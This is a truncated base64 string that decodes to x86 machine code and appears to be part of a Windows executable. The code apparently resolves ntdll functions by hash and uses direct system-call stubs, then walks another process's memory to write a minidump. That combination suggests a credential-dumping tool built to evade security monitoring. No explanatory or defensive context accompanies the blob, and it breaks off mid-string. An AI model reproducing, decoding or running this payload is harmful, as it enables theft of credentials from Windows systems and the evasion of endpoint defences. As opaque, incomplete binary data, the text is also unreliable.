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WD///+LRdwBwg+3RaBmiQKDRdwCjZVg////i0XcAcIPtkWiiAKDRdwBjZVg////i0XcAcIPtkWjiAKDRdwBjZVg////i0XcAcKLRaSJAoNF3ASNlWD///+LRdwBwotFqIkCg0XcBI2VYP///4tF3AHCi0WsiQKDRdwEjZVg////i0XcAcKLRbCJAoNF3ASNlWD///+LRdwBwotFtIkCg0XcBI2VYP///4tF3AHCD7dFuGaJAoNF3AKNlWD///+LRdwBwg+3RbpmiQKDRdwCjZVg////i0XcAcKLRbyJAoNF3ASNlWD///+LRdwBwotFwIkCg0XcBI2VYP///4tF3AHCi0XEiQKDRdwEjZVg////i0XcAcKLRciJAoNF3ASNlWD///+LRdwBwotFzIkCg0XcBI2VYP///4tF3AHCi0XQiQKLRQiLQAiJhVz///+LRZiJRCQIjYVg////iUQkBItFCIkEJOgc+f//hcB1CrgAAAAA6eYAAADHRCQMBAAAAI1FmIlEJAjHRCQEJAAAAItFCIkEJOi6+P//x0QkDAQAAACNhVz///+JRCQIx0QkBCgAAACLRQiJBCTolfj//4tFCItACImFWP///4tF4A+3AA+3wImFVP///8dEJAgEAAAAjYVU////iUQkBItFCIkEJOiP+P//hcB1B7gAAAAA61yLReAPtwAPt9CLReCLQASJVCQIiUQkBItFCIkEJOhi+P//hcB1B7gAAAAA6y+LhVz///+NUBjHRCQMBAAAAI2FWP///4lEJAiJVCQEi0UIiQQk6Pv3//+4AQAAAIt9/MnDVYnlV1ZTgexcAQAAjUWUuyDwQAC6EgAAAInHid6J0fOli0UIiwDHRCQMAQAAAMdEJAgSAAAAjVWUiVQkBIkEJOge2///iUXgg33gAHUKuAAAAADphAUAAItF4IlF5MdFkAAAAADp1QAAAItFkIPAAYlFkItFCItQCItF5ImQFAEAAItF5IPAFMdEJAQAAQAAiQQk6PQuAACJhRj///+LhRj///+DwAGJhRj///+LhRj///8BwImFGP///8dEJAgEAAAAjYUY////iUQkBItFCIkEJOhL9///hcB1HItF4IkEJOiNw///x0XgAAAAALgAAAAA6eQEAACLhRj///+LVeSDwhSJRCQIiVQkBItFCIkEJOgM9///hcB1HItF4IkEJOhOw///x0XgAAAAALgAAAAA6aUEAACLReSLAIlF5IN95AAPhSH///+LRQiLQAiJRYzHRCQIBAAAAI1FkIlEJASLRQiJBCTot/b//4XAdRyLReCJBCTo+cL//8dF4AAAAAC4AAAAAOlQBAAAx4Ug////AAAAAI2VJP///7gAAAAAuRoAAACJ1/Ori0XgiUXk6cQDAACNlaj+//+4AAAAALkcAAAAidfzq4tF5ItQDItACLoAAAAAiYWo/v//iZWs/v//i0Xki0AQiYWw/v//i0Xki4AcAQAAiYW0/v//i0Xki4AYAQAAiYW4/v//i0Xki4AUAQAAiYW8/v//x4XA/v//AAAAAMeFxP7//wAAAADHhcj+//8AAAAAx4XM/v//AAAAAMeF0P7//wAAAADHhdT+//8AAAAAx4XY/v//AAAAAMeF3P7//wAAAADHheD+//8AAAAAx4Xk/v//AAAAAMeF6P7//wAAAADHhez+//8AAAAAx4Xw/v//AAAAAMeF9P7//wAAAADHhfj+//8AAAAAx4X8/v//AAAAAMeFAP///wAAAADHhQj///8AAAAAx4UM////AAAAAMeFEP///wAAAADHhRT///8AAAAAx0XcAAAAAI2VIP///4tF3I0MAouFqP7//4uVrP7//4kBiVEEg0XcCI2VIP///4tF3AHCi4Ww/v//iQKDRdwEjZUg////i0XcAcKLhbT+//+JAoNF3ASNlSD///+LRdwBwouFuP7//4kCg0XcBI2VIP///4tF3AHCi4W8/v//iQKDRdwEjZUg////i0XcAcKLhcD+//+JAoNF3ASNlSD///+LRdwBwouFxP7//4kCg0XcBI2VIP///4tF3AHCi4XI/v//iQKDRdwEjZUg////i0XcAcKLhcz+//+JAoNF3ASNlSD///+LRdwBwouF0P7//4kCg0XcBI2VIP///4tF3AHCi4XU/v//iQKDRdwEjZUg////i0XcAcKLhdj+//+JAoNF3ASNlSD///+LRdwBwouF3P7//4kCg0XcBI2VIP///4tF3AHCi4Xg/v//iQKDRdwEjZUg////i0XcAcKLheT+//+JAoNF3ASNlSD///+LRdwBwouF6P7//4kCg0XcBI2VIP///4tF3AHCi4Xs/v//iQKDRdwEjZUg////i0XcAcKLhfD+//+JAoNF3ASNlSD///+LR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